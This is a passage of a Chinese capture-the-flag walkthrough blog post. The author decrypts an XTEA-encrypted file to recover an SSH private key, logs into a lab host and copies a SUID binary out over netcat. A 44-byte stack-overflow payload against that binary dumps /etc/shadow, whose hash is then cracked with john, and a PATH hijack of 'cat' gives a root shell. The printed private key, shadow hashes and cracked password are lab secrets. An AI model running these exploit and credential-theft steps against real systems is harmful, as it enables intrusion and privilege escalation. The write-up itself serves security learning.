
// 检查这是否是加密文件的最后一个块
// ftell(fp_in) 返回当前文件指针位置,如果它等于 encrypted_file_size,则表示已经读取到文件末尾
if (ftell(fp_in) == encrypted_file_size) {
size_t actual_data_len_in_last_block = 8;
for (int i = 7; i >= 0; --i) {
if (block[i] == 0x00) {
actual_data_len_in_last_block--;
} else {
break; // 找到非零字节,这是原始数据的结尾
}
}
bytes_to_write = actual_data_len_in_last_block;
}

// 将解密后的数据写入输出文件
fwrite(block, 1, bytes_to_write, fp_out);
decrypted_bytes_count += bytes_to_write;
}

printf("解密完成。\n");
printf("共写入解密字节数: %ld\n", decrypted_bytes_count);

fclose(fp_in);
fclose(fp_out);
return 0;
}


int main() {
// 运行解密过程
// 确保你的 "output.enc" 文件已存在于程序运行的目录下
if (decrypt_file() != 0) {
return 1;
}

printf("\n解密后的文件已保存为 '%s'\n", OUTPUT_DECRYPTED_FILE);
// 你可以手动检查 'decrypted.bin' 文件内容。
// 如果原始文件不是以0结尾,并且是简单的零填充,那么这个解密应该能正常工作。

return 0;
}

编译运行

Root提权

成功解密,得到私钥文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ gcc xtea.c -o xtea
xtea.c: In function ‘xtea_decrypt’:
xtea.c:6:20: warning: conversion from ‘long unsigned int’ to ‘unsigned int’ changes value from ‘169883889216’ to ‘2380164672’ [-Woverflow]
6 | #define XTEA_DELTA 0x9E3779B9UL // 无符号长整型,确保32位操作
| ^~~~~~~~~~~~
xtea.c:37:24: note: in expansion of macro ‘XTEA_DELTA’
37 | unsigned int sum = XTEA_DELTA * NUM_ROUNDS;
| ^~~~~~~~~~
❯ ./xtea
使用的 XTEA 密钥: 0x2D79656B 0x2D726F66 0x72657375 0x7A646C2D
正在将 'output.enc' 解密到 'decrypted.bin'...
解密完成。
共写入解密字节数: 399

解密后的文件已保存为 'decrypted.bin'
cat decrypted.bin
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDG60tqgYFFVx4ClSFGSIVssmKW6ibCoViuF9E8HQayZgAAAJBa9KyZWvSs
mQAAAAtzc2gtZWQyNTUxOQAAACDG60tqgYFFVx4ClSFGSIVssmKW6ibCoViuF9E8HQayZg
AAAEDkh1u30NCdjW5cB2TK+hkOBod+D7EKn6vZPHcyHL/ljMbrS2qBgUVXHgKVIUZIhWyy
YpbqJsKhWK4X0TwdBrJmAAAADWxkekBsb2NhbGhvc3Q=
-----END OPENSSH PRIVATE KEY-----

查看私钥的备注,得到用户名ldz

1
2
3
chmod 600 decrypted.bin
❯ ssh-keygen -y -f decrypted.bin
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbrS2qBgUVXHgKVIUZIhWyyYpbqJsKhWK4X0TwdBrJm ldz@localhost

ssh连接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ssh ldz@$ip -i decrypted.bin
The authenticity of host '192.168.47.145 (192.168.47.145)' can't be established.
ED25519 key fingerprint is SHA256:B9Pod6bX/35WGX2264fO3mYHE9TOsUwS6RGy8ZAswug.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.47.145' (ED25519) to the list of known hosts.

localhost:~$ id
uid=1000(ldz) gid=1000(ldz) groups=1000(ldz)
localhost:~$ ls -al
total 20
drwxr-sr-x 3 ldz ldz 4096 Jun 29 23:47 .
drwxr-xr-x 3 root root 4096 Apr 28 00:29 ..
lrwxrwxrwx 1 ldz ldz 9 Jun 29 23:25 .ash_history -> /dev/null
drwx--S--- 2 ldz ldz 4096 Jun 25 13:18 .ssh
-rw------- 1 ldz ldz 4178 Jun 26 12:58 .viminfo

Stack Overflow 栈溢出

/opt目录下存在SUID程序

1
2
3
4
5
6
7
8
9
localhost:~$ cd /opt/
localhost:/opt$ ls -al
total 40
drwxr-xr-x 5 root root 4096 Jun 25 01:42 .
drwxr-xr-x 21 root root 4096 Jun 25 01:45 ..
drwx--x--x 4 root root 4096 Jun 16 16:03 containerd
drw------- 2 root root 4096 Jun 24 19:55 server
drw------- 3 root root 4096 Jun 25 01:52 server2
-rwsr-xr-x 1 root root 19968 Jun 25 01:33 vuln

再次传到本地,分析一下

1
2
3
4
5
6
❯ nc -lvp 2333 > vuln
listening on [any] 2333 ...
192.168.47.145: inverse host lookup failed: Unknown host
connect to [192.168.47.89] from (UNKNOWN) [192.168.47.145] 36231
--------------------
localhost:/opt$ nc 192.168.47.89 2333 < vuln

image

代码很简单,就是判断flag是否等于1

如果等于1,则执行secret()函数

image

n可以进行溢出,从n = read(0, buffer, 0x30uLL)得知read函数将从标准输入中读入0x30个字节即为48个字节

查看buffer实际大小为32字节

image

其实也可以直接算偏移,起始地址减去目标地址即可

目标地址 - 起始地址 = (RBP - 4) - (RBP - 48)=44字节

利用python直接将payload输出到标准输出中

即可成功执行cat /etc/shadow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
localhost:/opt$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x01\x00\x00\x00")'|./vuln
root:$6$W5FUwrTeo8vXfNot$qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o.j9apE1BMYX5vYuJVEJ2hYbNsR0q9IWOSSt1I40vNYxvKO0:20263:0:::::
bin:!::0:::::
daemon:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
games:!::0:::::
ntp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
klogd:!:20205:0:99999:7:::
chrony:!:20205:0:99999:7:::
ldz:$6$qCU7eP8wj/Pvo1FB$Ooou6p.TF3M/kMB29XrzQ6XVNbq7c46lGzNvRPOJ55GAXJ0h.jmbc8VHhGjFgwXLHPSbNt96l/rmUYgDqpo8Y0:20263:0:99999:7:::
nginx:!:20263:0:99999:7:::

尝试爆破hash,得到密码yulianateamo

1
2
3
4
5
6
7
8
9
10
11
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes
Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
yulianateamo (?)
1g 0:00:04:25 DONE (2025-07-18 17:21) 0.003767g/s 1436p/s 1436c/s 1436C/s yummy8..youngheart
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

另一种方式,你可以发现cat命令并不是绝对命令,所以是可以劫持的,拿到shell

1
2
3
4
5
localhost:/tmp$ tty
/dev/pts/0
localhost:/tmp$ echo "/bin/sh < /dev/pts/0">cat
localhost:/tmp$ chmod +x cat
localhost:/tmp$ PATH=/tmp:$PATH

由于没有bash,不能使用bash -p进行提权,所以可以将此tty中的输入到/bin/sh

注意现在的cat需要使用绝对命令,不然没法读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
localhost:/var$ cd /opt/
localhost:/opt$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*44 + b"\x01\x00\x00\x00")'|./vuln
/opt # id
uid=0(root) gid=1000(ldz) groups=1000(ldz)
/opt # ls -al /root/
total 36
drwx------ 4 root root 4096 Jun 29 23:48 .
drwxr-xr-x 21 root root 4096 Jun 25 01:45 ..
lrwxrwxrwx 1 root root 9 Jun 29 23:26 .ash_history -> /dev/null
drwx------ 3 root root 4096 Jun 16 20:52 .docker
-rw-r--r-- 1 root root 26 Apr 28 00:04 .profile
drwx------ 2 root root 4096 Jun 24 20:14 .ssh
-rw------- 1 root root 12210 Jun 29 23:48 .viminfo
-rw------- 1 root root 39 Jun 24 10:01 root.txt
/opt # /bin/cat /root/root.txt
flag{98ecb90d5dcef41e1bd18f47697f287a}
总字数 660k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务